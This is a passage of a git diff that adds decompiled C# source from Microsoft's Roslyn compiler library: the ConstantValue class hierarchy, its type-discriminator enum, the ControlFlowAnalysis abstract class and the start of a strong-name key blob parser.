ConstantValueOne(ConstantValueTypeDiscriminator.SByte); + + public static readonly ConstantValueOne Byte = new ConstantValueOne(ConstantValueTypeDiscriminator.Byte); + + public static readonly ConstantValueOne Int16 = new ConstantValueOne(ConstantValueTypeDiscriminator.Int16); + + public static readonly ConstantValueOne UInt16 = new ConstantValueOne(ConstantValueTypeDiscriminator.UInt16); + + public static readonly ConstantValueOne Int32 = new ConstantValueOne(ConstantValueTypeDiscriminator.Int32); + + public static readonly ConstantValueOne UInt32 = new ConstantValueOne(ConstantValueTypeDiscriminator.UInt32); + + public static readonly ConstantValueOne Int64 = new ConstantValueOne(ConstantValueTypeDiscriminator.Int64); + + public static readonly ConstantValueOne UInt64 = new ConstantValueOne(ConstantValueTypeDiscriminator.UInt64); + + public static readonly ConstantValueOne NInt = new ConstantValueOne(ConstantValueTypeDiscriminator.NInt); + + public static readonly ConstantValueOne NUInt = new ConstantValueOne(ConstantValueTypeDiscriminator.NUInt); + + public static readonly ConstantValueOne Single = new ConstantValueOne(ConstantValueTypeDiscriminator.Single); + + public static readonly ConstantValueOne Double = new ConstantValueOne(ConstantValueTypeDiscriminator.Double); + + public static readonly ConstantValueOne Decimal = new ConstantValueDecimalOne(); + + public static readonly ConstantValueOne Boolean = new ConstantValueOne(ConstantValueTypeDiscriminator.Boolean); + + public override byte ByteValue => 1; + + public override sbyte SByteValue => 1; + + public override bool BooleanValue => true; + + public override double DoubleValue => 1.0; + + public override float SingleValue => 1f; + + public override decimal DecimalValue => 1m; + + public override int Int32Value => 1; + + public override uint UInt32Value => 1u; + + public override long Int64Value => 1L; + + public override ulong UInt64Value => 1uL; + + public override short Int16Value => 1; + + public override ushort UInt16Value => 1; + + protected ConstantValueOne(ConstantValueTypeDiscriminator discriminator) + : base(discriminator) + { + } + + public override bool Equals(ConstantValue? other) + { + return (object)this == other; + } + + public override int GetHashCode() + { + return RuntimeHelpers.GetHashCode(this); + } + } + + private sealed class ConstantValueDecimalOne : ConstantValueOne + { + internal ConstantValueDecimalOne() + : base(ConstantValueTypeDiscriminator.Decimal) + { + } + + public override bool Equals(ConstantValue? other) + { + if ((object)other == this) + { + return true; + } + if ((object)other == null) + { + return false; + } + if (Discriminator == other.Discriminator) + { + return other.DecimalValue == 1m; + } + return false; + } + } + + private sealed class ConstantValueI8 : ConstantValueDiscriminated + { + private readonly byte _value; + + public override byte ByteValue => _value; + + public override sbyte SByteValue => (sbyte)_value; + + public ConstantValueI8(sbyte value) + : base(ConstantValueTypeDiscriminator.SByte) + { + _value = (byte)value; + } + + public ConstantValueI8(byte value) + : base(ConstantValueTypeDiscriminator.Byte) + { + _value = value; + } + + public override int GetHashCode() + { + int hashCode = base.GetHashCode(); + byte value = _value; + return Hash.Combine(hashCode, value.GetHashCode()); + } + + public override bool Equals(ConstantValue? other) + { + if (base.Equals(other)) + { + return _value == other.ByteValue; + } + return false; + } + } + + private sealed class ConstantValueI16 : ConstantValueDiscriminated + { + private readonly short _value; + + public override short Int16Value => _value; + + public override ushort UInt16Value => (ushort)_value; + + public override char CharValue => (char)_value; + + public ConstantValueI16(short value) + : base(ConstantValueTypeDiscriminator.Int16) + { + _value = value; + } + + public ConstantValueI16(ushort value) + : base(ConstantValueTypeDiscriminator.UInt16) + { + _value = (short)value; + } + + public ConstantValueI16(char value) + : base(ConstantValueTypeDiscriminator.Char) + { + _value = (short)value; + } + + public override int GetHashCode() + { + int hashCode = base.GetHashCode(); + short value = _value; + return Hash.Combine(hashCode, value.GetHashCode()); + } + + public override bool Equals(ConstantValue? other) + { + if (base.Equals(other)) + { + return _value == other.Int16Value; + } + return false; + } + } + + private sealed class ConstantValueI32 : ConstantValueDiscriminated + { + private readonly int _value; + + public override int Int32Value => _value; + + public override uint UInt32Value => (uint)_value; + + public ConstantValueI32(int value) + : base(ConstantValueTypeDiscriminator.Int32) + { + _value = value; + } + + public ConstantValueI32(uint value) + : base(ConstantValueTypeDiscriminator.UInt32) + { + _value = (int)value; + } + + public override int GetHashCode() + { + int hashCode = base.GetHashCode(); + int value = _value; + return Hash.Combine(hashCode, value.GetHashCode()); + } + + public override bool Equals(ConstantValue? other) + { + if (base.Equals(other)) + { + return _value == other.Int32Value; + } + return false; + } + } + + private sealed class ConstantValueI64 : ConstantValueDiscriminated + { + private readonly long _value; + + public override long Int64Value => _value; + + public override ulong UInt64Value => (ulong)_value; + + public ConstantValueI64(long value) + : base(ConstantValueTypeDiscriminator.Int64) + { + _value = value; + } + + public ConstantValueI64(ulong value) + : base(ConstantValueTypeDiscriminator.UInt64) + { + _value = (long)value; + } + + public override int GetHashCode() + { + int hashCode = base.GetHashCode(); + long value = _value; + return Hash.Combine(hashCode, value.GetHashCode()); + } + + public override bool Equals(ConstantValue? other) + { + if (base.Equals(other)) + { + return _value == other.Int64Value; + } + return false; + } + } + + private sealed class ConstantValueNativeInt : ConstantValueDiscriminated + { + private readonly int _value; + + public override int Int32Value => _value; + + public override uint UInt32Value => (uint)_value; + + public ConstantValueNativeInt(int value) + : base(ConstantValueTypeDiscriminator.NInt) + { + _value = value; + } + + public ConstantValueNativeInt(uint value) + : base(ConstantValueTypeDiscriminator.NUInt) + { + _value = (int)value; + } + + public override int GetHashCode() + { + int hashCode = base.GetHashCode(); + int value = _value; + return Hash.Combine(hashCode, value.GetHashCode()); + } + + public override bool Equals(ConstantValue? other) + { + if (base.Equals(other)) + { + return _value == other.Int32Value; + } + return false; + } + } + + private sealed class ConstantValueDouble : ConstantValueDiscriminated + { + private readonly double _value; + + public override double DoubleValue => _value; + + public ConstantValueDouble(double value) + : base(ConstantValueTypeDiscriminator.Double) + { + if (double.IsNaN(value)) + { + value = _s_IEEE_canonical_NaN; + } + _value = value; + } + + public override int GetHashCode() + { + int hashCode = base.GetHashCode(); + double value = _value; + return Hash.Combine(hashCode, value.GetHashCode()); + } + + public override bool Equals(ConstantValue? other) + { + if (base.Equals(other)) + { + double value = _value; + return value.Equals(other.DoubleValue); + } + return false; + } + } + + private sealed class ConstantValueSingle : ConstantValueDiscriminated + { + private readonly double _value; + + public override double DoubleValue => _value; + + public override float SingleValue => (float)_value; + + public ConstantValueSingle(double value) + : base(ConstantValueTypeDiscriminator.Single) + { + if (double.IsNaN(value)) + { + value = _s_IEEE_canonical_NaN; + } + _value = value; + } + + public override int GetHashCode() + { + int hashCode = base.GetHashCode(); + double value = _value; + return Hash.Combine(hashCode, value.GetHashCode()); + } + + public override bool Equals(ConstantValue? other) + { + if (base.Equals(other)) + { + double value = _value; + return value.Equals(other.DoubleValue); + } + return false; + } + } + + public const ConstantValue NotAvailable = null; + + private static readonly double _s_IEEE_canonical_NaN = BitConverter.Int64BitsToDouble(-2251799813685248L); + + public abstract ConstantValueTypeDiscriminator Discriminator { get; } + + internal abstract SpecialType SpecialType { get; } + + public virtual string? StringValue + { + get + { + throw new InvalidOperationException(); + } + } + + internal virtual Rope? RopeValue + { + get + { + throw new InvalidOperationException(); + } + } + + public virtual bool BooleanValue + { + get + { + throw new InvalidOperationException(); + } + } + + public virtual sbyte SByteValue + { + get + { + throw new InvalidOperationException(); + } + } + + public virtual byte ByteValue + { + get + { + throw new InvalidOperationException(); + } + } + + public virtual short Int16Value => SByteValue; + + public virtual ushort UInt16Value => ByteValue; + + public virtual int Int32Value => Int16Value; + + public virtual uint UInt32Value => UInt16Value; + + public virtual long Int64Value => Int32Value; + + public virtual ulong UInt64Value => UInt32Value; + + public virtual char CharValue + { + get + { + throw new InvalidOperationException(); + } + } + + public virtual decimal DecimalValue + { + get + { + throw new InvalidOperationException(); + } + } + + public virtual DateTime DateTimeValue + { + get + { + throw new InvalidOperationException(); + } + } + + public virtual double DoubleValue + { + get + { + throw new InvalidOperationException(); + } + } + + public virtual float SingleValue + { + get + { + throw new InvalidOperationException(); + } + } + + public virtual bool IsDefaultValue => false; + + public static ConstantValue Bad => ConstantValueBad.Instance; + + public static ConstantValue Null => ConstantValueNull.Instance; + + public static ConstantValue Nothing => Null; + + public static ConstantValue Unset => ConstantValueNull.Uninitialized; + + public static ConstantValue True => ConstantValueOne.Boolean; + + public static ConstantValue False => ConstantValueDefault.Boolean; + + public object? Value => Discriminator switch + { + ConstantValueTypeDiscriminator.Bad => null, + ConstantValueTypeDiscriminator.Nothing => null, + ConstantValueTypeDiscriminator.SByte => Boxes.Box(SByteValue), + ConstantValueTypeDiscriminator.Byte => Boxes.Box(ByteValue), + ConstantValueTypeDiscriminator.Int16 => Boxes.Box(Int16Value), + ConstantValueTypeDiscriminator.UInt16 => Boxes.Box(UInt16Value), + ConstantValueTypeDiscriminator.Int32 => Boxes.Box(Int32Value), + ConstantValueTypeDiscriminator.UInt32 => Boxes.Box(UInt32Value), + ConstantValueTypeDiscriminator.Int64 => Boxes.Box(Int64Value), + ConstantValueTypeDiscriminator.UInt64 => Boxes.Box(UInt64Value), + ConstantValueTypeDiscriminator.NInt => Boxes.Box(Int32Value), + ConstantValueTypeDiscriminator.NUInt => Boxes.Box(UInt32Value), + ConstantValueTypeDiscriminator.Char => Boxes.Box(CharValue), + ConstantValueTypeDiscriminator.Boolean => Boxes.Box(BooleanValue), + ConstantValueTypeDiscriminator.Single => Boxes.Box(SingleValue), + ConstantValueTypeDiscriminator.Double => Boxes.Box(DoubleValue), + ConstantValueTypeDiscriminator.Decimal => Boxes.Box(DecimalValue), + ConstantValueTypeDiscriminator.DateTime => DateTimeValue, + ConstantValueTypeDiscriminator.String => StringValue, + _ => throw ExceptionUtilities.UnexpectedValue(Discriminator), + }; + + public bool IsIntegral => IsIntegralType(Discriminator); + + public bool IsNegativeNumeric + { + get + { + switch (Discriminator) + { + case ConstantValueTypeDiscriminator.SByte: + return SByteValue < 0; + case ConstantValueTypeDiscriminator.Int16: + return Int16Value < 0; + case ConstantValueTypeDiscriminator.Int32: + case ConstantValueTypeDiscriminator.NInt: + return Int32Value < 0; + case ConstantValueTypeDiscriminator.Int64: + return Int64Value < 0; + case ConstantValueTypeDiscriminator.Single: + return SingleValue < 0f; + case ConstantValueTypeDiscriminator.Double: + return DoubleValue < 0.0; + case ConstantValueTypeDiscriminator.Decimal: + return DecimalValue < 0m; + default: + return false; + } + } + } + + public bool IsNumeric + { + get + { + switch (Discriminator) + { + case ConstantValueTypeDiscriminator.SByte: + case ConstantValueTypeDiscriminator.Byte: + case ConstantValueTypeDiscriminator.Int16: + case ConstantValueTypeDiscriminator.UInt16: + case ConstantValueTypeDiscriminator.Int32: + case ConstantValueTypeDiscriminator.UInt32: + case ConstantValueTypeDiscriminator.Int64: + case ConstantValueTypeDiscriminator.UInt64: + case ConstantValueTypeDiscriminator.NInt: + case ConstantValueTypeDiscriminator.NUInt: + case ConstantValueTypeDiscriminator.Single: + case ConstantValueTypeDiscriminator.Double: + case ConstantValueTypeDiscriminator.Decimal: + return true; + default: + return false; + } + } + } + + public bool IsUnsigned => IsUnsignedIntegralType(Discriminator); + + public bool IsBoolean => Discriminator == ConstantValueTypeDiscriminator.Boolean; + + public bool IsChar => Discriminator == ConstantValueTypeDiscriminator.Char; + + [MemberNotNullWhen(true, "StringValue")] + public bool IsString + { + [MemberNotNullWhen(true, "StringValue")] + get + { + return Discriminator == ConstantValueTypeDiscriminator.String; + } + } + + public bool IsDecimal => Discriminator == ConstantValueTypeDiscriminator.Decimal; + + public bool IsDateTime => Discriminator == ConstantValueTypeDiscriminator.DateTime; + + public bool IsFloating + { + get + { + if (Discriminator != ConstantValueTypeDiscriminator.Double) + { + return Discriminator == ConstantValueTypeDiscriminator.Single; + } + return true; + } + } + + public bool IsBad => Discriminator == ConstantValueTypeDiscriminator.Bad; + + public bool IsNull => (object)this == Null; + + public bool IsNothing => (object)this == Nothing; + + public static ConstantValue Create(string? value) + { + if (value == null) + { + return Null; + } + return new ConstantValueString(value); + } + + internal static ConstantValue CreateFromRope(Rope value) + { + return new ConstantValueString(value); + } + + public static ConstantValue Create(char value) + { + if (value == '\0') + { + return ConstantValueDefault.Char; + } + return new ConstantValueI16(value); + } + + public static ConstantValue Create(sbyte value) + { + return value switch + { + 0 => ConstantValueDefault.SByte, + 1 => ConstantValueOne.SByte, + _ => new ConstantValueI8(value), + }; + } + + public static ConstantValue Create(byte value) + { + return value switch + { + 0 => ConstantValueDefault.Byte, + 1 => ConstantValueOne.Byte, + _ => new ConstantValueI8(value), + }; + } + + public static ConstantValue Create(short value) + { + return value switch + { + 0 => ConstantValueDefault.Int16, + 1 => ConstantValueOne.Int16, + _ => new ConstantValueI16(value), + }; + } + + public static ConstantValue Create(ushort value) + { + return value switch + { + 0 => ConstantValueDefault.UInt16, + 1 => ConstantValueOne.UInt16, + _ => new ConstantValueI16(value), + }; + } + + public static ConstantValue Create(int value) + { + return value switch + { + 0 => ConstantValueDefault.Int32, + 1 => ConstantValueOne.Int32, + _ => new ConstantValueI32(value), + }; + } + + public static ConstantValue Create(uint value) + { + return value switch + { + 0u => ConstantValueDefault.UInt32, + 1u => ConstantValueOne.UInt32, + _ => new ConstantValueI32(value), + }; + } + + public static ConstantValue Create(long value) + { + return value switch + { + 0L => ConstantValueDefault.Int64, + 1L => ConstantValueOne.Int64, + _ => new ConstantValueI64(value), + }; + } + + public static ConstantValue Create(ulong value) + { + return value switch + { + 0uL => ConstantValueDefault.UInt64, + 1uL => ConstantValueOne.UInt64, + _ => new ConstantValueI64(value), + }; + } + + public static ConstantValue CreateNativeInt(int value) + { + return value switch + { + 0 => ConstantValueDefault.NInt, + 1 => ConstantValueOne.NInt, + _ => new ConstantValueNativeInt(value), + }; + } + + public static ConstantValue CreateNativeUInt(uint value) + { + return value switch + { + 0u => ConstantValueDefault.NUInt, + 1u => ConstantValueOne.NUInt, + _ => new ConstantValueNativeInt(value), + }; + } + + public static ConstantValue Create(bool value) + { + if (value) + { + return ConstantValueOne.Boolean; + } + return ConstantValueDefault.Boolean; + } + + public static ConstantValue Create(float value) + { + if (BitConverter.DoubleToInt64Bits(value) == 0L) + { + return ConstantValueDefault.Single; + } + if (value == 1f) + { + return ConstantValueOne.Single; + } + return new ConstantValueSingle(value); + } + + public static ConstantValue CreateSingle(double value) + { + if (BitConverter.DoubleToInt64Bits(value) == 0L) + { + return ConstantValueDefault.Single; + } + if (value == 1.0) + { + return ConstantValueOne.Single; + } + return new ConstantValueSingle(value); + } + + public static ConstantValue Create(double value) + { + if (BitConverter.DoubleToInt64Bits(value) == 0L) + { + return ConstantValueDefault.Double; + } + if (value == 1.0) + { + return ConstantValueOne.Double; + } + return new ConstantValueDouble(value); + } + + public static ConstantValue Create(decimal value) + { + if (decimal.GetBits(value)[3] == 0) + { + if (value == 0m) + { + return ConstantValueDefault.Decimal; + } + if (value == 1m) + { + return ConstantValueOne.Decimal; + } + } + return new ConstantValueDecimal(value); + } + + public static ConstantValue Create(DateTime value) + { + if (value == default(DateTime)) + { + return ConstantValueDefault.DateTime; + } + return new ConstantValueDateTime(value); + } + + public static ConstantValue Create(object value, SpecialType st) + { + ConstantValueTypeDiscriminator discriminator = GetDiscriminator(st); + return Create(value, discriminator); + } + + public static ConstantValue CreateSizeOf(SpecialType st) + { + int num = st.SizeInBytes(); + if (num != 0) + { + return Create(num); + } + return null; + } + + public static ConstantValue Create(object value, ConstantValueTypeDiscriminator discriminator) + { + switch (discriminator) + { + case ConstantValueTypeDiscriminator.Nothing: + return Null; + case ConstantValueTypeDiscriminator.SByte: + return Create((sbyte)value); + case ConstantValueTypeDiscriminator.Byte: + return Create((byte)value); + case ConstantValueTypeDiscriminator.Int16: + return Create((short)value); + case ConstantValueTypeDiscriminator.UInt16: + return Create((ushort)value); + case ConstantValueTypeDiscriminator.Int32: + return Create((int)value); + case ConstantValueTypeDiscriminator.UInt32: + return Create((uint)value); + case ConstantValueTypeDiscriminator.Int64: + return Create((long)value); + case ConstantValueTypeDiscriminator.UInt64: + return Create((ulong)value); + case ConstantValueTypeDiscriminator.NInt: + return CreateNativeInt((int)value); + case ConstantValueTypeDiscriminator.NUInt: + return CreateNativeUInt((uint)value); + case ConstantValueTypeDiscriminator.Char: + return Create((char)value); + case ConstantValueTypeDiscriminator.Boolean: + return Create((bool)value); + case ConstantValueTypeDiscriminator.Single: + if (!(value is double)) + { + return Create((float)value); + } + return CreateSingle((double)value); + case ConstantValueTypeDiscriminator.Double: + return Create((double)value); + case ConstantValueTypeDiscriminator.Decimal: + return Create((decimal)value); + case ConstantValueTypeDiscriminator.DateTime: + return Create((DateTime)value); + case ConstantValueTypeDiscriminator.String: + return Create((string)value); + default: + throw new InvalidOperationException(); + } + } + + public static ConstantValue Default(SpecialType st) + { + return Default(GetDiscriminator(st)); + } + + public static ConstantValue Default(ConstantValueTypeDiscriminator discriminator) + { + switch (discriminator) + { + case ConstantValueTypeDiscriminator.Bad: + return Bad; + case ConstantValueTypeDiscriminator.SByte: + return ConstantValueDefault.SByte; + case ConstantValueTypeDiscriminator.Byte: + return ConstantValueDefault.Byte; + case ConstantValueTypeDiscriminator.Int16: + return ConstantValueDefault.Int16; + case ConstantValueTypeDiscriminator.UInt16: + return ConstantValueDefault.UInt16; + case ConstantValueTypeDiscriminator.Int32: + return ConstantValueDefault.Int32; + case ConstantValueTypeDiscriminator.UInt32: + return ConstantValueDefault.UInt32; + case ConstantValueTypeDiscriminator.Int64: + return ConstantValueDefault.Int64; + case ConstantValueTypeDiscriminator.UInt64: + return ConstantValueDefault.UInt64; + case ConstantValueTypeDiscriminator.NInt: + return ConstantValueDefault.NInt; + case ConstantValueTypeDiscriminator.NUInt: + return ConstantValueDefault.NUInt; + case ConstantValueTypeDiscriminator.Char: + return ConstantValueDefault.Char; + case ConstantValueTypeDiscriminator.Boolean: + return ConstantValueDefault.Boolean; + case ConstantValueTypeDiscriminator.Single: + return ConstantValueDefault.Single; + case ConstantValueTypeDiscriminator.Double: + return ConstantValueDefault.Double; + case ConstantValueTypeDiscriminator.Decimal: + return ConstantValueDefault.Decimal; + case ConstantValueTypeDiscriminator.DateTime: + return ConstantValueDefault.DateTime; + case ConstantValueTypeDiscriminator.Nothing: + case ConstantValueTypeDiscriminator.String: + return Null; + default: + throw ExceptionUtilities.UnexpectedValue(discriminator); + } + } + + internal static ConstantValueTypeDiscriminator GetDiscriminator(SpecialType st) + { + return st switch + { + SpecialType.System_SByte => ConstantValueTypeDiscriminator.SByte, + SpecialType.System_Byte => ConstantValueTypeDiscriminator.Byte, + SpecialType.System_Int16 => ConstantValueTypeDiscriminator.Int16, + SpecialType.System_UInt16 => ConstantValueTypeDiscriminator.UInt16, + SpecialType.System_Int32 => ConstantValueTypeDiscriminator.Int32, + SpecialType.System_UInt32 => ConstantValueTypeDiscriminator.UInt32, + SpecialType.System_Int64 => ConstantValueTypeDiscriminator.Int64, + SpecialType.System_UInt64 => ConstantValueTypeDiscriminator.UInt64, + SpecialType.System_IntPtr => ConstantValueTypeDiscriminator.NInt, + SpecialType.System_UIntPtr => ConstantValueTypeDiscriminator.NUInt, + SpecialType.System_Char => ConstantValueTypeDiscriminator.Char, + SpecialType.System_Boolean => ConstantValueTypeDiscriminator.Boolean, + SpecialType.System_Single => ConstantValueTypeDiscriminator.Single, + SpecialType.System_Double => ConstantValueTypeDiscriminator.Double, + SpecialType.System_Decimal => ConstantValueTypeDiscriminator.Decimal, + SpecialType.System_DateTime => ConstantValueTypeDiscriminator.DateTime, + SpecialType.System_String => ConstantValueTypeDiscriminator.String, + _ => ConstantValueTypeDiscriminator.Bad, + }; + } + + public string GetPrimitiveTypeName() + { + switch (Discriminator) + { + case ConstantValueTypeDiscriminator.SByte: + return "sbyte"; + case ConstantValueTypeDiscriminator.Byte: + return "byte"; + case ConstantValueTypeDiscriminator.Int16: + return "short"; + case ConstantValueTypeDiscriminator.UInt16: + return "ushort"; + case ConstantValueTypeDiscriminator.Int32: + return "int"; + case ConstantValueTypeDiscriminator.NInt: + return "nint"; + case ConstantValueTypeDiscriminator.UInt32: + return "uint"; + case ConstantValueTypeDiscriminator.NUInt: + return "nuint"; + case ConstantValueTypeDiscriminator.Int64: + return "long"; + case ConstantValueTypeDiscriminator.UInt64: + return "ulong"; + case ConstantValueTypeDiscriminator.Char: + return "char"; + case ConstantValueTypeDiscriminator.Boolean: + return "bool"; + case ConstantValueTypeDiscriminator.Single: + return "float"; + case ConstantValueTypeDiscriminator.Double: + return "double"; + case ConstantValueTypeDiscriminator.String: + return "string"; + case ConstantValueTypeDiscriminator.Decimal: + return "decimal"; + case ConstantValueTypeDiscriminator.DateTime: + return "DateTime"; + case ConstantValueTypeDiscriminator.Nothing: + case ConstantValueTypeDiscriminator.Bad: + throw ExceptionUtilities.UnexpectedValue(Discriminator); + default: + throw ExceptionUtilities.UnexpectedValue(Discriminator); + } + } + + private static SpecialType GetSpecialType(ConstantValueTypeDiscriminator discriminator) + { + return discriminator switch + { + ConstantValueTypeDiscriminator.SByte => SpecialType.System_SByte, + ConstantValueTypeDiscriminator.Byte => SpecialType.System_Byte, + ConstantValueTypeDiscriminator.Int16 => SpecialType.System_Int16, + ConstantValueTypeDiscriminator.UInt16 => SpecialType.System_UInt16, + ConstantValueTypeDiscriminator.Int32 => SpecialType.System_Int32, + ConstantValueTypeDiscriminator.UInt32 => SpecialType.System_UInt32, + ConstantValueTypeDiscriminator.Int64 => SpecialType.System_Int64, + ConstantValueTypeDiscriminator.UInt64 => SpecialType.System_UInt64, + ConstantValueTypeDiscriminator.NInt => SpecialType.System_IntPtr, + ConstantValueTypeDiscriminator.NUInt => SpecialType.System_UIntPtr, + ConstantValueTypeDiscriminator.Char => SpecialType.System_Char, + ConstantValueTypeDiscriminator.Boolean => SpecialType.System_Boolean, + ConstantValueTypeDiscriminator.Single => SpecialType.System_Single, + ConstantValueTypeDiscriminator.Double => SpecialType.System_Double, + ConstantValueTypeDiscriminator.Decimal => SpecialType.System_Decimal, + ConstantValueTypeDiscriminator.DateTime => SpecialType.System_DateTime, + ConstantValueTypeDiscriminator.String => SpecialType.System_String, + _ => SpecialType.None, + }; + } + + public static bool IsIntegralType(ConstantValueTypeDiscriminator discriminator) + { + if (discriminator - 2 <= ConstantValueTypeDiscriminator.UInt64) + { + return true; + } + return false; + } + + public static bool IsUnsignedIntegralType(ConstantValueTypeDiscriminator discriminator) + { + switch (discriminator) + { + case ConstantValueTypeDiscriminator.Byte: + case ConstantValueTypeDiscriminator.UInt16: + case ConstantValueTypeDiscriminator.UInt32: + case ConstantValueTypeDiscriminator.UInt64: + case ConstantValueTypeDiscriminator.NUInt: + return true; + default: + return false; + } + } + + public static bool IsBooleanType(ConstantValueTypeDiscriminator discriminator) + { + return discriminator == ConstantValueTypeDiscriminator.Boolean; + } + + public static bool IsCharType(ConstantValueTypeDiscriminator discriminator) + { + return discriminator == ConstantValueTypeDiscriminator.Char; + } + + public static bool IsStringType(ConstantValueTypeDiscriminator discriminator) + { + return discriminator == ConstantValueTypeDiscriminator.String; + } + + public static bool IsDecimalType(ConstantValueTypeDiscriminator discriminator) + { + return discriminator == ConstantValueTypeDiscriminator.Decimal; + } + + public static bool IsDateTimeType(ConstantValueTypeDiscriminator discriminator) + { + return discriminator == ConstantValueTypeDiscriminator.DateTime; + } + + public static bool IsFloatingType(ConstantValueTypeDiscriminator discriminator) + { + if (discriminator != ConstantValueTypeDiscriminator.Double) + { + return discriminator == ConstantValueTypeDiscriminator.Single; + } + return true; + } + + public void Serialize(BlobBuilder writer) + { + switch (Discriminator) + { + case ConstantValueTypeDiscriminator.Boolean: + writer.WriteBoolean(BooleanValue); + break; + case ConstantValueTypeDiscriminator.SByte: + writer.WriteSByte(SByteValue); + break; + case ConstantValueTypeDiscriminator.Byte: + writer.WriteByte(ByteValue); + break; + case ConstantValueTypeDiscriminator.Int16: + case ConstantValueTypeDiscriminator.Char: + writer.WriteInt16(Int16Value); + break; + case ConstantValueTypeDiscriminator.UInt16: + writer.WriteUInt16(UInt16Value); + break; + case ConstantValueTypeDiscriminator.Single: + writer.WriteSingle(SingleValue); + break; + case ConstantValueTypeDiscriminator.Int32: + writer.WriteInt32(Int32Value); + break; + case ConstantValueTypeDiscriminator.UInt32: + writer.WriteUInt32(UInt32Value); + break; + case ConstantValueTypeDiscriminator.Double: + writer.WriteDouble(DoubleValue); + break; + case ConstantValueTypeDiscriminator.Int64: + writer.WriteInt64(Int64Value); + break; + case ConstantValueTypeDiscriminator.UInt64: + writer.WriteUInt64(UInt64Value); + break; + default: + throw ExceptionUtilities.UnexpectedValue(Discriminator); + } + } + + public override string ToString() + { + string valueToDisplay = GetValueToDisplay(); + return $"{GetType().Name}({valueToDisplay}: {Discriminator})"; + } + + public virtual string ToString(string? format, IFormatProvider? provider) + { + switch (Discriminator) + { + case ConstantValueTypeDiscriminator.SByte: + return SByteValue.ToString(provider); + case ConstantValueTypeDiscriminator.Byte: + return ByteValue.ToString(provider); + case ConstantValueTypeDiscriminator.Int16: + return Int16Value.ToString(provider); + case ConstantValueTypeDiscriminator.UInt16: + return UInt16Value.ToString(provider); + case ConstantValueTypeDiscriminator.Int32: + case ConstantValueTypeDiscriminator.NInt: + return Int32Value.ToString(provider); + case ConstantValueTypeDiscriminator.UInt32: + case ConstantValueTypeDiscriminator.NUInt: + return UInt32Value.ToString(provider); + case ConstantValueTypeDiscriminator.UInt64: + return UInt64Value.ToString(provider); + case ConstantValueTypeDiscriminator.Int64: + return Int64Value.ToString(provider); + case ConstantValueTypeDiscriminator.Char: + return CharValue.ToString(provider); + case ConstantValueTypeDiscriminator.Boolean: + return BooleanValue.ToString(provider); + case ConstantValueTypeDiscriminator.Single: + return SingleValue.ToString(provider); + case ConstantValueTypeDiscriminator.Double: + return DoubleValue.ToString(provider); + case ConstantValueTypeDiscriminator.Decimal: + return DecimalValue.ToString(provider); + case ConstantValueTypeDiscriminator.DateTime: + return DateTimeValue.ToString(provider); + default: + throw ExceptionUtilities.UnexpectedValue(Discriminator); + } + } + + internal virtual string? GetValueToDisplay() + { + return Value?.ToString(); + } + + public virtual bool Equals(ConstantValue? other) + { + if ((object)other == this) + { + return true; + } + if ((object)other == null) + { + return false; + } + return Discriminator == other.Discriminator; + } + + public static bool operator ==(ConstantValue? left, ConstantValue? right) + { + if ((object)right == left) + { + return true; + } + return left?.Equals(right) ?? false; + } + + public static bool operator !=(ConstantValue? left, ConstantValue? right) + { + return !(left == right); + } + + public override int GetHashCode() + { + return ((int)Discriminator).GetHashCode(); + } + + public override bool Equals(object? obj) + { + return Equals(obj as ConstantValue); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ConstantValueTypeDiscriminator.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ConstantValueTypeDiscriminator.cs new file mode 100644 index 0000000..f8e5874 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ConstantValueTypeDiscriminator.cs @@ -0,0 +1,25 @@ +namespace Microsoft.CodeAnalysis; + +internal enum ConstantValueTypeDiscriminator : byte +{ + Nothing = 0, + Null = 0, + Bad = 1, + SByte = 2, + Byte = 3, + Int16 = 4, + UInt16 = 5, + Int32 = 6, + UInt32 = 7, + Int64 = 8, + UInt64 = 9, + NInt = 10, + NUInt = 11, + Char = 12, + Boolean = 13, + Single = 14, + Double = 15, + String = 16, + Decimal = 17, + DateTime = 18 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ControlFlowAnalysis.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ControlFlowAnalysis.cs new file mode 100644 index 0000000..7bd6381 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ControlFlowAnalysis.cs @@ -0,0 +1,18 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis; + +public abstract class ControlFlowAnalysis +{ + public abstract ImmutableArray EntryPoints { get; } + + public abstract ImmutableArray ExitPoints { get; } + + public abstract bool EndPointIsReachable { get; } + + public abstract bool StartPointIsReachable { get; } + + public abstract ImmutableArray ReturnStatements { get; } + + public abstract bool Succeeded { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CryptoBlobParser.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CryptoBlobParser.cs new file mode 100644 index 0000000..8e3c348 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/CryptoBlobParser.cs @@ -0,0 +1,255 @@ +using System; +using System.Collections.Immutable; +using System.IO; +using System.Reflection.Metadata; +using System.Security.Cryptography; +using Microsoft.CodeAnalysis.Collections; + +namespace Microsoft.CodeAnalysis; + +internal static class CryptoBlobParser +{ + private enum AlgorithmClass + { + Signature = 1, + Hash = 4 + } + + private enum AlgorithmSubId + { + Sha1Hash = 4, + MacHash, + RipeMdHash, + RipeMd160Hash, + Ssl3ShaMD5Hash, + HmacHash, + Tls1PrfHash, + HashReplacOwfHash, + Sha256Hash, + Sha384Hash, + Sha512Hash + } + + private struct AlgorithmId + { + private const int AlgorithmClassOffset = 13; + + private const int AlgorithmClassMask = 7; + + private const int AlgorithmSubIdOffset = 0; + + private const int AlgorithmSubIdMask = 511; + + private readonly uint _flags; + + public const int RsaSign = 9216; + + public const int Sha = 32772; + + public bool IsSet => _flags != 0; + + public AlgorithmClass Class => (AlgorithmClass)((_flags >> 13) & 7); + + public AlgorithmSubId SubId => (AlgorithmSubId)(_flags & 0x1FF); + + public AlgorithmId(uint flags) + { + _flags = flags; + } + } + + private static readonly ImmutableArray s_ecmaKey = ImmutableArray.Create(new byte[16] + { + 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, + 0, 0, 0, 0, 0, 0 + }); + + private const int SnPublicKeyBlobSize = 13; + + private const byte 